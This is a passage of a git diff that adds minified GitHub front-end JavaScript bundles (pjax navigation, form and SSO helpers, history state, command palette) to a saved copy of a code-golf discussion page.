g.remove(),E.prepend(m),d.addEventListener("toggle",()=>{d.hasAttribute("open")||((0,h.f)(E,"dialog:remove"),d.remove())}),E}s(p,"dialog")},29719:(M,w,c)=>{c.d(w,{D:()=>l,a:()=>f});var h=c(17463),p=c(12981);async function f(r,d,E){const g=new Request(d,E);g.headers.append("X-Requested-With","XMLHttpRequest");const m=await self.fetch(g);if(m.status<200||m.status>=300)throw new Error(`HTTP ${m.status}${m.statusText||""}`);return(0,h.t)((0,h.P)(r),m),(0,p.r)(r,await m.text())}s(f,"fetchSafeDocumentFragment");function l(r,d,E=1e3){return s(async function g(m){const v=new Request(r,d);v.headers.append("X-Requested-With","XMLHttpRequest");const _=await self.fetch(v);if(_.status<200||_.status>=300)throw new Error(`HTTP ${_.status}${_.statusText||""}`);if(_.status===200)return _;if(_.status===202)return await new Promise(L=>setTimeout(L,m)),g(m*1.5);throw new Error(`Unexpected ${_.status} response status from poll endpoint`)},"poll")(E)}s(l,"fetchPoll")},56238:(M,w,c)=>{c.d(w,{Bt:()=>r,DN:()=>g,KL:()=>_,Se:()=>E,qC:()=>L,sw:()=>m});var h=c(59753),p=c(2061),f=c(7679);(0,h.on)("click",".js-remote-submit-button",async function(i){const n=i.currentTarget.form;i.preventDefault();let b;try{b=await fetch(n.action,{method:n.method,body:new FormData(n),headers:{Accept:"application/json","X-Requested-With":"XMLHttpRequest"}})}catch{}b&&!b.ok&&(0,f.v)()});function l(i,a,n){return i.dispatchEvent(new CustomEvent(a,{bubbles:!0,cancelable:n}))}s(l,"fire");function r(i,a){a&&(d(i,a),(0,p.j)(a)),l(i,"submit",!0)&&i.submit()}s(r,"requestSubmit");function d(i,a){if(!(i instanceof HTMLFormElement))throw new TypeError("The specified element is not of type HTMLFormElement.");if(!(a instanceof HTMLElement))throw new TypeError("The specified element is not of type HTMLElement.");if(a.type!=="submit")throw new TypeError("The specified element is not a submit button.");if(!i||i!==a.form)throw new Error("The specified element is not owned by the form element.")}s(d,"checkButtonValidity");function E(i,a){if(typeof a=="boolean")if(i instanceof HTMLInputElement)i.checked=a;else throw new TypeError("only checkboxes can be set to boolean value");else{if(i.type==="checkbox")throw new TypeError("checkbox can't be set to string value");i.value=a}l(i,"change",!1)}s(E,"changeValue");function g(i,a){for(const n in a){const b=a[n],S=i.elements.namedItem(n);(S instanceof HTMLInputElement||S instanceof HTMLTextAreaElement)&&(S.value=b)}}s(g,"fillFormValues");function m(i){if(!(i instanceof HTMLElement))return!1;const a=i.nodeName.toLowerCase(),n=(i.getAttribute("type")||"").toLowerCase();return a==="select"||a==="textarea"||a==="input"&&n!=="submit"&&n!=="reset"||i.isContentEditable}s(m,"isFormField");function v(i){return new URLSearchParams(i)}s(v,"searchParamsFromFormData");function _(i,a){const n=new URLSearchParams(i.search),b=v(a);for(const[S,R]of b)n.append(S,R);return n.toString()}s(_,"combineGetFormSearchParams");function L(i){return v(new FormData(i)).toString()}s(L,"serialize")},55741:(M,w,c)=>{c.d(w,{M:()=>f,T:()=>l});var h=c(14840),p=c(56238);function f(n,b=!1){return l(n)||v(n,b)||i(n)||a(n)}s(f,"hasInteractions");function l(n){for(const b of n.querySelectorAll("input, textarea"))if((b instanceof HTMLInputElement||b instanceof HTMLTextAreaElement)&&r(b))return!0;return!1}s(l,"hasDirtyFields");function r(n){if(n instanceof HTMLInputElement&&(n.type==="checkbox"||n.type==="radio")){if(n.checked!==n.defaultChecked)return!0}else if(n.value!==n.defaultValue)return!0;return!1}s(r,"formFieldValueChanged");let d;async function E(n,b){d=n;try{await b()}finally{d=null}}s(E,"withActiveElement");function g(n){return d instanceof Element?d:n&&n.ownerDocument&&n.ownerDocument.activeElement?n.ownerDocument.activeElement:null}s(g,"getActiveElement");let m;document.addEventListener("mouseup",function(n){m=n.target});function v(n,b){const S=g(n);return S===null||b&&S===n?!1:S===n&&(0,p.sw)(S)||n.contains(S)&&!L(S)?!0:m instanceof Element&&n.contains(m)&&!!m.closest("details[open] > summary")}s(v,"hasFocus");const _="a[href], button";function L(n){var b;if(n instanceof h.Z)return!0;const S=n instanceof HTMLAnchorElement||n instanceof HTMLButtonElement,R=(b=n.parentElement)==null?void 0:b.classList.contains("task-list-item");if(S&&R)return!0;if(!(m instanceof Element))return!1;const j=n.closest(_);if(!j)return!1;const H=m.closest(_);return j===H}s(L,"activeElementIsSafe");function i(n){return n.matches(":active:enabled")}s(i,"hasMousedown");function a(n){return!!(n.closest(".is-dirty")||n.querySelector(".is-dirty"))}s(a,"markedAsDirty")},17463:(M,w,c)=>{c.d(w,{P:()=>h,t:()=>f});function h(l){const r=[...l.querySelectorAll("meta[name=html-safe-nonce]")].map(d=>d.content);if(r.length<1)throw new Error("could not find html-safe-nonce on document");return r}s(h,"getDocumentHtmlSafeNonces");class p extends Error{constructor(r,d){super(`${r} for HTTP ${d.status}`);this.response=d}}s(p,"ResponseError");function f(l,r,d=!1){const E=r.headers.get("content-type")||"";if(!d&&!E.startsWith("text/html"))throw new p(`expected response with text/html, but was ${E}`,r);if(d&&!(E.startsWith("text/html")||E.startsWith("application/json")))throw new p(`expected response with text/html or application/json, but was ${E}`,r);const g=r.headers.get("x-html-safe");if(g){if(!l.includes(g))throw new p("response X-HTML-Safe nonce did not match",r)}else throw new p("missing X-HTML-Safe nonce",r)}s(f,"verifyResponseHtmlSafeNonce")},45075:(M,w,c)=>{c.d(w,{ZG:()=>r,q6:()=>E,w4:()=>d});var h=c(8439);let p=!1;const f=new h.Z;function l(g){const m=g.target;if(m instanceof HTMLElement&&m.nodeType!==Node.DOCUMENT_NODE)for(const v of f.matches(m))v.data.call(null,m)}s(l,"handleFocus");function r(g,m){p||(p=!0,document.addEventListener("focus",l,!0)),f.add(g,m),document.activeElement instanceof HTMLElement&&document.activeElement.matches(g)&&m(document.activeElement)}s(r,"onFocus");function d(g,m,v){function _(L){const i=L.currentTarget;!i||(i.removeEventListener(g,v),i.removeEventListener("blur",_))}s(_,"blurHandler"),r(m,function(L){L.addEventListener(g,v),L.addEventListener("blur",_)})}s(d,"onKey");function E(g,m){function v(_){const{currentTarget:L}=_;!L||(L.removeEventListener("input",m),L.removeEventListener("blur",v))}s(v,"blurHandler"),r(g,function(_){_.addEventListener("input",m),_.addEventListener("blur",v)})}s(E,"onInput")},2061:(M,w,c)=>{c.d(w,{j:()=>h,u:()=>p});function h(f){const l=f.closest("form");if(!(l instanceof HTMLFormElement))return;let r=p(l);if(f.name){const d=f.matches("input[type=submit]")?"Submit":"",E=f.value||d;r||(r=document.createElement("input"),r.type="hidden",r.classList.add("is-submit-button-value"),l.prepend(r)),r.name=f.name,r.value=E}else r&&r.remove()}s(h,"persistSubmitButtonValue");function p(f){const l=f.querySelector("input.is-submit-button-value");return l instanceof HTMLInputElement?l:null}s(p,"findPersistedSubmitButtonValue")},25833:(M,w,c)=>{c.d(w,{Z:()=>L});var h=c(12737),p=c(29719),f=c(64463);function l(i){return new Promise(a=>{i.addEventListener("dialog:remove",a,{once:!0})})}s(l,"waitForDialogClose");function r(i){const a=document.querySelector(".sso-modal");!a||(a.classList.remove("success","error"),i?a.classList.add("success"):a.classList.add("error"))}s(r,"setModalStatus");function d(i){const a=document.querySelector("meta[name=sso-expires-around]");a&&a.setAttribute("content",i)}s(d,"updateExpiresAroundTag");async function E(){const i=document.querySelector("link[rel=sso-modal]"),a=await(0,h.W)({content:(0,p.a)(document,i.href),dialogClass:"sso-modal"});let n=null;const b=window.external;if(b.ssoComplete=function(S){S.error?(n=!1,r(n)):(n=!0,r(n),d(S.expiresAround),window.focus()),b.ssoComplete=null},await l(a),!n)throw new Error("sso prompt canceled")}s(E,"ssoPrompt"),(0,f.N7)(".js-sso-modal-complete",function(i){if(window.opener&&window.opener.external.ssoComplete){const a=i.getAttribute("data-error"),n=i.getAttribute("data-expires-around");window.opener.external.ssoComplete({error:a,expiresAround:n}),window.close()}else{const a=i.getAttribute("data-fallback-url");a&&(window.location.href=a)}});function g(i){if(!(i instanceof HTMLMetaElement))return!0;const a=parseInt(i.content);return new Date().getTime()/1e3>a}s(g,"expiresSoon");async function m(){const i=document.querySelector("link[rel=sso-session]"),a=document.querySelector("meta[name=sso-expires-around]");if(!(i instanceof HTMLLinkElement)||!g(a))return!0;const n=i.href;return await(await fetch(n,{headers:{Accept:"application/json","X-Requested-With":"XMLHttpRequest"}})).json()}s(m,"fetchSsoStatus");let v=null;function _(){v=null}s(_,"clearActiveSsoPrompt");async function L(){await m()||(v||(v=E().then(_).catch(_)),await v)}s(L,"__WEBPACK_DEFAULT_EXPORT__")},6741:(M,w,c)=>{c.d(w,{RB:()=>p,qC:()=>f,w0:()=>h});class h{constructor(r){this.closed=!1,this.unsubscribe=()=>{r(),this.closed=!0}}}s(h,"Subscription");function p(l,r,d,E={capture:!1}){return l.addEventListener(r,d,E),new h(()=>{l.removeEventListener(r,d,E)})}s(p,"fromEvent");function f(...l){return new h(()=>{for(const r of l)r.unsubscribe()})}s(f,"compose")}}]);})(); + +//# sourceMappingURL=app_assets_modules_github_behaviors_keyboard-shortcuts-helper_ts-app_assets_modules_github_be-af52ef-e439d69777c7.js.map \ No newline at end of file diff --git a/archive/Problem 6 Find the Prime · Discussion #7 · Ta180m_Idiot-Code-Golf_files/app_assets_modules_github_behaviors_pjax_ts-9f84f27e2e5c.js b/archive/Problem 6 Find the Prime · Discussion #7 · Ta180m_Idiot-Code-Golf_files/app_assets_modules_github_behaviors_pjax_ts-9f84f27e2e5c.js new file mode 100644 index 0000000..f4bf598 --- /dev/null +++ b/archive/Problem 6 Find the Prime · Discussion #7 · Ta180m_Idiot-Code-Golf_files/app_assets_modules_github_behaviors_pjax_ts-9f84f27e2e5c.js @@ -0,0 +1,3 @@ +"use strict";(()=>{var me=Object.defineProperty;var t=(C,v)=>me(C,"name",{value:v,configurable:!0});(globalThis.webpackChunk=globalThis.webpackChunk||[]).push([["app_assets_modules_github_behaviors_pjax_ts"],{41307:(C,v,d)=>{d.d(v,{ZP:()=>M,y0:()=>le});var f=d(6170),c=d(54293),l=d(61161),m=d(49815),p=d(12981),E=d(45922);const u=20;let a,h=null;function s(r,o,e){return r.dispatchEvent(new CustomEvent(o,{bubbles:!0,cancelable:!0,detail:e}))}t(s,"dispatch");async function M(r){var o,e,n,y;const i={push:!0,replace:!1,type:"GET",dataType:"html",scrollTo:0,...r};i.requestUrl=i.url;const g=I(i.url).hash,S=i.container,T=N(S);a||(a={id:O(),url:window.location.href,title:document.title,container:T,fragment:i.fragment},(0,f.lO)(a,a.title,a.url)),h==null||h.abort();const{signal:w}=h=new AbortController;i.push===!0&&i.replace!==!0&&(ae(a.id,j(S)),(0,f.qA)(null,"",i.requestUrl)),s(S,"pjax:start",{url:i.url}),s(S,"pjax:send");let x;const b=ce();try{x=await fetch(i.url,{signal:w,method:i.type,body:i.data,headers:{Accept:"text/html","X-PJAX":"true","X-PJAX-Container":T,"X-Requested-With":"XMLHttpRequest","X-PJAX-VERSION":(o=b.pjax)!=null?o:"","X-PJAX-CSP-VERSION":(e=b.csp)!=null?e:"","X-PJAX-CSS-VERSION":(n=b.css)!=null?n:"","X-PJAX-JS-VERSION":(y=b.js)!=null?y:""}})}catch{x=void 0}if(!x||!x.ok){const D=s(S,"pjax:error");if(i.type==="GET"&&D){const Q=x&&x.headers.get("X-PJAX-URL"),fe=Q?I(Q).href:i.requestUrl;(0,E.b)({pjaxFailureReason:"response_error",requestUrl:i.requestUrl}),U(fe)}s(S,"pjax:complete"),s(S,"pjax:end");return}const K=a,ee=se(),te=x.headers.get("X-PJAX-Version"),ue=await x.text(),A=Y(ue,x,i),{contents:$}=A,ne=I(A.url);if(g&&(ne.hash=g,A.url=ne.href),ee&&te&&ee!==te){s(S,"pjax:hardLoad",{reason:"version_mismatch"}),(0,E.b)({pjaxFailureReason:"version_mismatch",requestUrl:i.requestUrl}),U(A.url);return}if(!$){s(S,"pjax:hardLoad",{reason:"missing_response_body"}),(0,E.b)({pjaxFailureReason:"missing_response_body",requestUrl:i.requestUrl}),U(A.url);return}a={id:i.id!=null?i.id:O(),url:A.url,title:A.title,container:T,fragment:i.fragment},(i.push===!0||i.replace===!0)&&(0,f.lO)(a,A.title,A.url);const Z=document.activeElement,de=i.container!=null&&i.container.contains(Z);if(Z instanceof HTMLElement&&de)try{Z.blur()}catch{}A.title&&(document.title=A.title),s(S,"pjax:beforeReplace",{contents:$,state:a,previousState:K}),R(S,$),(0,c.b)(),(0,c.o)();const z=S.querySelector("input[autofocus], textarea[autofocus]");z&&document.activeElement!==z&&z.focus(),A.scripts&&oe(A.scripts),A.stylesheets&&re(A.stylesheets);let G=i.scrollTo;if(g){const D=(0,l.Kt)(document,g);D&&(G=D.getBoundingClientRect().top+window.pageYOffset)}typeof G=="number"&&window.scrollTo(window.pageXOffset,G),s(S,"pjax:success"),s(S,"pjax:complete"),s(S,"pjax:end")}t(M,"pjaxRequest");function U(r){a&&(0,f.lO)(null,"",a.url),window.location.replace(r)}t(U,"locationReplace");let q=!0;const k=window.location.href,_=window.history.state;_&&_.container&&(a=_),"state"in window.history&&(q=!1);function P(r){if((0,m.c)("TURBO"))return;q||h==null||h.abort();const o=a,e=r.state;let n=null;if(e&&e.container){if(q&&k===e.url)return;if(o){if(o.id===e.id)return;n=o.id]*>([\s\S.]*)<\/head>/i),x=r.match(/]*>([\s\S.]*)<\/body>/i);L=w?Array.from((0,p.r)(document,w[0]).childNodes):[],g=x?Array.from((0,p.r)(document,x[0]).childNodes):[]}else L=g=Array.from((0,p.r)(document,r).childNodes);if(g.length===0)return n;const S=X(L,"title",HTMLTitleElement);n.title=S.length>0&&S[S.length-1].textContent||"";let T;if(e.fragment){if(e.fragment==="body")T=g;else{const w=X(g,e.fragment,Element);T=w.length>0?[w[0]]:[]}if(T.length&&(e.fragment==="body"?n.contents=T:n.contents=T.flatMap(w=>Array.from(w.childNodes)),!n.title)){const w=T[0];w instanceof Element&&(n.title=w.getAttribute("title")||w.getAttribute("data-title")||"")}}else y||(n.contents=g);if(n.contents){n.contents=n.contents.filter(function(b){return b instanceof Element?!b.matches("title"):!0});for(const b of n.contents)if(b instanceof Element)for(const K of b.querySelectorAll("title"))K.remove();const w=X(n.contents,"script[src]",HTMLScriptElement);for(const b of w)b.remove();n.scripts=w,n.contents=n.contents.filter(b=>w.indexOf(b)===-1);const x=X(n.contents,"link[rel=stylesheet]",HTMLLinkElement);for(const b of x)b.remove();n.stylesheets=x,n.contents=n.contents.filter(b=>!x.includes(b))}return n.title&&(n.title=n.title.trim()),n}t(Y,"extractContainer");function oe(r){const o=document.querySelectorAll("script[src]");for(const e of r){const{src:n}=e;if(Array.from(o).some(g=>g.src===n))continue;const y=document.createElement("script"),i=e.getAttribute("type");i&&(y.type=i);const L=e.getAttribute("integrity");L&&(y.integrity=L,y.crossOrigin="anonymous"),y.src=n,document.head&&document.head.appendChild(y)}}t(oe,"executeScriptTags");function re(r){const o=document.querySelectorAll("link[rel=stylesheet]");for(const e of r)Array.from(o).some(n=>n.href===e.href)||document.head&&document.head.appendChild(e)}t(re,"injectStyleTags");const B={},F=[],J=[];function ae(r,o){B[r]=o,J.push(r),W(F,0),W(J,u)}t(ae,"cachePush");function ie(r,o,e){let n,y;B[o]=e,r==="forward"?(n=J,y=F):(n=F,y=J),n.push(o);const i=y.pop();i&&delete B[i],W(n,u)}t(ie,"cachePop");function W(r,o){for(;r.length>o;){const e=r.shift();if(e==null)return;delete B[e]}}t(W,"trimCacheStack");function se(){for(const r of document.getElementsByTagName("meta")){const o=r.getAttribute("http-equiv");if(o&&o.toUpperCase()==="X-PJAX-VERSION")return r.content}return null}t(se,"findVersion");function H(r){var o;const e=document.querySelector(`meta[http-equiv="${r}"]`);return(o=e==null?void 0:e.content)!=null?o:null}t(H,"pjaxMeta");function ce(){return{pjax:H("X-PJAX-VERSION"),csp:H("X-PJAX-CSP-VERSION"),css:H("X-PJAX-CSS-VERSION"),js:H("X-PJAX-JS-VERSION")}}t(ce,"findAllVersions");function le(){return a}t(le,"getState"),window.addEventListener("popstate",P)},54293:(C,v,d)=>{d.d(v,{b:()=>m,o:()=>p});var f=d(7739);const c={},l={};(async()=>(await f.x,c[document.location.pathname]=Array.from(document.querySelectorAll("head [data-pjax-transient]")),l[document.location.pathname]=Array.from(document.querySelectorAll("[data-pjax-replace]"))))(),document.addEventListener("pjax:beforeReplace",function(E){const u=E.detail.contents||[],a=E.target;for(let h=0;h{d.d(v,{C:()=>c,x:()=>f});const f=function(){return document.readyState==="interactive"||document.readyState==="complete"?Promise.resolve():new Promise(l=>{document.addEventListener("DOMContentLoaded",()=>{l()})})}(),c=function(){return document.readyState==="complete"?Promise.resolve():new Promise(l=>{window.addEventListener("load",l)})}()},49815:(C,v,d)=>{d.d(v,{$:()=>E,c:()=>m});var f=d(15205);const c=(0,f.Z)(l);function l(){var u,a;return(((a=(u=document.head)==null?void 0:u.querySelector('meta[name="enabled-features"]'))==null?void 0:a.content)||"").split(",")}t(l,"enabledFeatures");const m=(0,f.Z)(p);function p(u){return c().indexOf(u)!==-1}t(p,"isEnabled");const E={isFeatureEnabled:m}},61161:(C,v,d)=>{d.d(v,{$z:()=>l,Kt:()=>f,Q:()=>c});function f(m,p=location.hash){return c(m,l(p))}t(f,"findFragmentTarget");function c(m,p){return p===""?null:m.getElementById(p)||m.getElementsByName(p)[0]}t(c,"findElementByFragmentName");function l(m){try{return decodeURIComponent(m.slice(1))}catch{return""}}t(l,"decodeFragmentValue")},6170:(C,v,d)=>{d.d(v,{Mw:()=>q,_C:()=>U,lO:()=>M,qA:()=>s,y0:()=>m});const f=[];let c=0,l;function m(){return l}t(m,"getState");function p(){try{return Math.min(Math.max(0,history.length)||0,9007199254740991)}catch{return 0}}t(p,"safeGetHistory");function E(){const _={_id:new Date().getTime(),...history.state};return a(_),_}t(E,"initializeState");function u(){return p()-1+c}t(u,"position");function a(_){l=_;const P=location.href;f[u()]={url:P,state:l},f.length=p(),window.dispatchEvent(new CustomEvent("statechange",{bubbles:!1,cancelable:!1}))}t(a,"setState");function h(){return new Date().getTime()}t(h,"uniqueId");function s(_,P,O){c=0;const j={_id:h(),..._};history.pushState(j,P,O),a(j)}t(s,"pushState");function M(_,P,O){const j={...m(),..._};history.replaceState(j,P,O),a(j)}t(M,"replaceState");function U(){const _=f[u()-1];if(_)return _.url}t(U,"getBackURL");function q(){const _=f[u()+1];if(_)return _.url}t(q,"getForwardURL"),l=E(),window.addEventListener("popstate",t(function(P){var O,j,I,N,X;const R=P.state;if(!(!R||!R._id&&!((O=R.turbo)==null?void 0:O.restorationIdentifier))){if((j=R.turbo)==null?void 0:j.restorationIdentifier){const V=R.turbo.restorationIdentifier;((X=(N=(I=f[u()-1])==null?void 0:I.state)==null?void 0:N.turbo)==null?void 0:X.restorationIdentifier)===V?c--:c++}else R._id<(m()._id||NaN)?c--:c++;a(R)}},"onPopstate"),!0);let k;window.addEventListener("turbo:visit",_=>{_ instanceof CustomEvent&&(k=_.detail.action)}),window.addEventListener("turbo:load",()=>{k!=="restore"&&(c=0,M(history.state,"",""))}),window.addEventListener("hashchange",t(function(){if(p()>f.length){const P={_id:h()};history.replaceState(P,"",location.href),a(P)}},"onHashchange"),!0)},12981:(C,v,d)=>{d.d(v,{r:()=>f});function f(c,l){const m=c.createElement("template");return m.innerHTML=l,c.importNode(m.content,!0)}t(f,"parseHTML")},97474:(C,v,d)=>{d.d(v,{Z:()=>f});function f(c){var l,m;const p=(m=(l=c.head)==null?void 0:l.querySelector('meta[name="expected-hostname"]'))==null?void 0:m.content;if(!p)return!1;const E=p.replace(/\.$/,"").split(".").slice(-2).join("."),u=c.location.hostname.replace(/\.$/,"").split(".").slice(-2).join(".");return E!==u}t(f,"detectProxySite")},45922:(C,v,d)=>{d.d(v,{b:()=>m});var f=d(97474),c=d(7739);let l=[];function m(h,s=!1){h.timestamp===void 0&&(h.timestamp=new Date().getTime()),h.loggedIn=a(),l.push(h),s?u():E()}t(m,"sendStats");let p=null;async function E(){await c.C,p==null&&(p=window.requestIdleCallback(u))}t(E,"scheduleSendStats");function u(){var h,s;if(p=null,!l.length||(0,f.Z)(document))return;const M=(s=(h=document.head)==null?void 0:h.querySelector('meta[name="browser-stats-url"]'))==null?void 0:s.content;if(!M)return;const U=JSON.stringify({stats:l});try{navigator.sendBeacon&&navigator.sendBeacon(M,U)}catch{}l=[]}t(u,"flushStats");function a(){var h,s;return!!((s=(h=document.head)==null?void 0:h.querySelector('meta[name="user-login"]'))==null?void 0:s.content)}t(a,"isLoggedIn"),document.addEventListener("pagehide",u),document.addEventListener("visibilitychange",u)}}]);})(); + +//# sourceMappingURL=app_assets_modules_github_behaviors_pjax_ts-3331a0ecddca.js.map \ No newline at end of file diff --git a/archive/Problem 6 Find the Prime · Discussion #7 · Ta180m_Idiot-Code-Golf_files/app_assets_modules_github_command-palette_items_help-item_ts-.js b/archive/Problem 6 Find the Prime · Discussion #7 · Ta180m_Idiot-Code-Golf_files/app_assets_modules_github_command-palette_items_help-item_ts-.js new file mode 100644 index 0000000..4a88798 --- /dev/null +++ b/archive/Problem 6 Find the Prime · Discussion #7 · Ta180m_Idiot-Code-Golf_files/app_assets_modules_github_command-palette_items_help-item_ts-.js @@ -0,0 +1,37 @@ +"use strict";(()=>{var S=Object.defineProperty;var f=(y,v)=>S(y,"name",{value:v,configurable:!0});(globalThis.webpackChunk=globalThis.webpackChunk||[]).push([["app_assets_modules_github_command-palette_items_help-item_ts-app_assets_modules_github_comman-7e29fd"],{2846:(y,v,a)=>{a.d(v,{i:()=>s});var d=a(90420),_=a(23207),m=Object.defineProperty,r=Object.getOwnPropertyDescriptor,l=f((o,i,c,n)=>{for(var t=n>1?void 0:n?r(i,c):i,p=o.length-1,u;p>=0;p--)(u=o[p])&&(t=(n?u(i,c,t):u(t))||t);return n&&t&&m(i,c,t),t},"__decorateClass");let s=f(class extends _.b{static build(o,i){const c=new s;return c.providerId=o,c.provider=i,c}connectedCallback(){this.setAttribute("data-targets","command-palette.clientDefinedProviderElements")}},"ClientDefinedProviderElement");l([d.Lj],s.prototype,"providerId",2),s=l([d.Ih],s)},64465:(y,v,a)=>{a.d(v,{Z:()=>T,o:()=>O});var d=a(90420),_=a(2846),m=a(39200),r=a(85678),l=a(80829),s=a(80425),o=a(3447),i=a(72017),c=Object.defineProperty,n=Object.getOwnPropertyDescriptor,t=f((e,h,g,P)=>{for(var I=P>1?void 0:P?n(h,g):h,D=e.length-1,b;D>=0;D--)(b=e[D])&&(I=(P?b(h,g,I):b(I))||I);return P&&I&&c(h,g,I),I},"__decorateClass");const p=f(()=>navigator.platform.match(/Mac/),"isMac"),u=p()?"metaKey":"ctrlKey",E=p()?"Meta":"Control",O=f(e=>e instanceof KeyboardEvent?e[u]:!1,"isPlatformMetaKey"),M=450;let T=f(class extends HTMLElement{constructor(){super(...arguments);this.everActivated=!1,this.activated=!1,this.error=!1,this.query=new l.A("",""),this.setupComplete=!1,this.sessionId="",this.returnTo="",this.userId="",this.activationHotkey="Mod+k,Mod+Alt+k",this.commandModeHotkey="Mod+Shift+k,Control+K"}setup(){this.modes=Array.from(this.querySelectorAll("command-palette-mode")),this.defaultMode=this.querySelector(".js-command-palette-default-mode"),this.commandPaletteInput=this.querySelector("command-palette-input"),this.groups=this.querySelectorAll("command-palette-item-group"),new ResizeObserver(g=>{for(const P of g)this.commandPaletteInput.scopeElement.smallDisplay=P.contentRect.width1?e[e.length-1]:""}get platformActivationHotkey(){return this.platformHotkey(this.activationHotkey)}get platformSecondaryActivationHotkey(){return this.platformHotkey(this.secondaryActivationHotkey)}get platformCommandModeHotkey(){return this.platformHotkey(this.commandModeHotkey)}platformHotkey(e){if(e==="none")return"";let h=e;if(p())h=h.replace(/Mod\+Alt/g,"Alt+Mod");else if(h.includes("Shift")){const g=h.charAt(h.length-1);h+=`,${h.replace(`Shift+${g}`,g.toUpperCase())}`}return h.replace(/Mod/g,E)}onInput(){!this.everActivated||(this.commandPaletteInput.typeahead="",this.setActiveModeElement(),this.setQuery(),this.toggleTips(),this.updateOverlay())}updateOverlay(){const e=this.getMode();this.commandPaletteInput.overlay=e;for(const h of this.groups)h.renderElement(e);if(e&&this.getTextWithoutMode()===""){const h=this.getModeElement().placeholder||"";this.commandPaletteInput.showModePlaceholder(h)}else this.commandPaletteInput.showModePlaceholder("")}itemsUpdated(e){if(!(e instanceof CustomEvent))return;const g=e.detail.items.filter(b=>b.group!==m.O.footerGroupId),P=g.filter(b=>!b.group||!m.O.helpGroupIds.includes(b.group)),I=g.length>P.length,D=P.length===0&&this.activated;P.length>0?this.toggleEmptyState(!1,I):D&&(this.toggleEmptyState(!0,I),this.toggleTips()),this.toggleErrorTips()}loadingStateChanged(e){e instanceof CustomEvent&&(this.commandPaletteInput.loading=e.detail.loading)}pageFetchError(e){e instanceof CustomEvent&&(this.error=!0,this.toggleErrorTips())}selectedItemChanged(e){if(!(e instanceof CustomEvent))return;const h=e.detail.item,g=e.detail.isDefaultSelection;this.updateTypeahead(h,g)}setActiveModeElement(){const e=this.commandPaletteInput.inputValue.substring(0,1),h=this.modes.filter(g=>g.active(this.query.scope,e)).find(g=>g.character()===e);this.activeMode=h||this.defaultMode,this.pageStack.currentMode=this.activeMode.character()}setQuery(){this.query=new l.A(this.getTextWithoutMode().trimStart(),this.getMode(),{scope:this.commandPaletteInput.scope,subjectId:this.pageStack.defaultScopeId,subjectType:this.pageStack.defaultScopeType,returnTo:this.returnTo}),this.pageStack.currentQueryText=this.getTextWithoutMode().trimStart()}getModeElement(){return this.activeMode}getMode(){var e;return(e=this.getModeElement())==null?void 0:e.character()}getTextWithoutMode(){if(!this.commandPaletteInput)return"";const e=this.commandPaletteInput.inputValue,h=this.getMode();return h&&e.startsWith(h)?e.substring(1):e}get selectedItem(){return this.pageStack.currentPage.selectedItem}onSelect(e){this.selectedItem?this.selectedItem.item.select(this):e.preventDefault()}autocomplete(e){(0,i.j)("autocompleted",e);const h=this.commandPaletteInput;e.typeahead!==void 0?h.inputValue=h.overlay+e.typeahead:h.inputValue=h.overlay+e.title}setScope(e){(0,i.j)("scoped");const h=e||this.commandPaletteInput.scope;for(const g of h.tokens){const P=g===h.tokens[h.tokens.length-1],I=new r.j({title:g.value,scopeId:g.id,scopeType:g.type});this.pageStack.push(I,!P)}this.commandPaletteInput.inputValue=""}onDescope(){this.toggleEmptyState(!1,!1),this.pageStack.pop(),this.toggleTips()}onInputClear(){this.pageStack.clear()}onKeydown(e){var h;e.key==="Enter"&&this.selectedItem?((h=this.selectedItem)==null||h.activate(this,e),e.preventDefault(),e.stopPropagation()):e.key==="ArrowDown"?(this.navigateToItem(1),e.preventDefault(),e.stopPropagation()):e.key==="ArrowUp"?(this.navigateToItem(-1),e.preventDefault(),e.stopPropagation()):this.isCopyEvent(e)&&this.selectedItem&&(this.selectedItem.copy(this),e.preventDefault(),e.stopPropagation())}close(e){if(e instanceof KeyboardEvent&&e.key!=="Enter")return;document.querySelector(".command-palette-details-dialog").toggle(!1),e.stopImmediatePropagation(),e.preventDefault()}navigateToItem(e){this.pageStack.navigate(e)}toggleTips(){const e=this.modeTips.filter(g=>g.available(this.query)),h=e[Math.floor(Math.random()*e.length)];for(const g of this.modeTips)g.hidden=h!==g;this.pageStack.hasVisibleTip=!!h,this.pageStack.currentPage.recomputeStyles()}toggleEmptyState(e,h){for(const g of this.emptyStateElements)g.toggle(this.query,e);if(!h&&e){const g=this.serverDefinedProviderElements.find(P=>P.type==="help");g&&this.pageStack.currentPage.fetch([g.provider],{isEmpty:!0})}}toggleErrorTips(){for(const e of this.errorStateTips)e.toggle(this.query,!1,this.error)}updateInputScope(e){e instanceof CustomEvent&&(this.commandPaletteInput.scope=this.pageStack.scope,this.setQuery())}updateTypeahead(e,h=!1){var g,P;this.getTextWithoutMode()===""&&(!e||h)?this.commandPaletteInput.typeahead="":e&&(this.commandPaletteInput.typeahead=(P=(g=e.typeahead)!=null?g:e.title)!=null?P:"")}isCopyEvent(e){return this.commandPaletteInput.textSelected()?!1:p()?e.metaKey&&e.key==="c":e.ctrlKey&&e.key==="c"}setQueryScope(){this.query.scope=this.commandPaletteInput.scope}get providerElements(){return[...this.serverDefinedProviderElements,...this.clientDefinedProviderElements]}get commandsProviderElements(){return this.providerElements.filter(e=>{var h;return(h=e.provider)==null?void 0:h.hasCommands})}clearProviderCaches(){var e;for(const h of this.providerElements)(e=h.provider)==null||e.clearCache()}clearCommandProviderCaches(){var e;for(const h of this.commandsProviderElements)(e=h.provider)==null||e.clearCache()}registerProvider(e,h){const g=this.querySelector(`client-defined-provider[data-provider-id="${e}"]`);g&&g.remove();const P=_.i.build(e,h);this.appendChild(P)}pushPage(e,h=!1){h&&this.pageStack.clear(!1),this.pageStack.push(e),this.resetInput()}get tipElements(){const e=this.querySelectorAll("command-palette-tip");return Array.from(e)}get modeTips(){return this.tipElements.filter(e=>!e.onEmpty&&!e.onError)}get emptyStateElements(){return this.tipElements.filter(e=>e.onEmpty)}get errorStateTips(){return this.tipElements.filter(e=>e.onError)}get placeholder(){return this.getAttribute("placeholder")||""}get defaultOpen(){return this.getAttribute("data-default-open")!==null}clearReturnToParams(){const e=new URLSearchParams(location.search);e.delete("command_palette_open"),e.delete("command_query"),e.delete("command_mode"),e.delete("clear_command_scope"),history.replaceState(null,"",`?${e}${location.hash}`)}displayFlash(e,h,g=5e3){const P=document.querySelector(".js-command-palette-toasts");if(!P)return;const I=P.querySelectorAll(".Toast");for(const C of I)C.hidden=!0;const D=P.querySelector(`.Toast.Toast--${e}`);if(!D)return;const 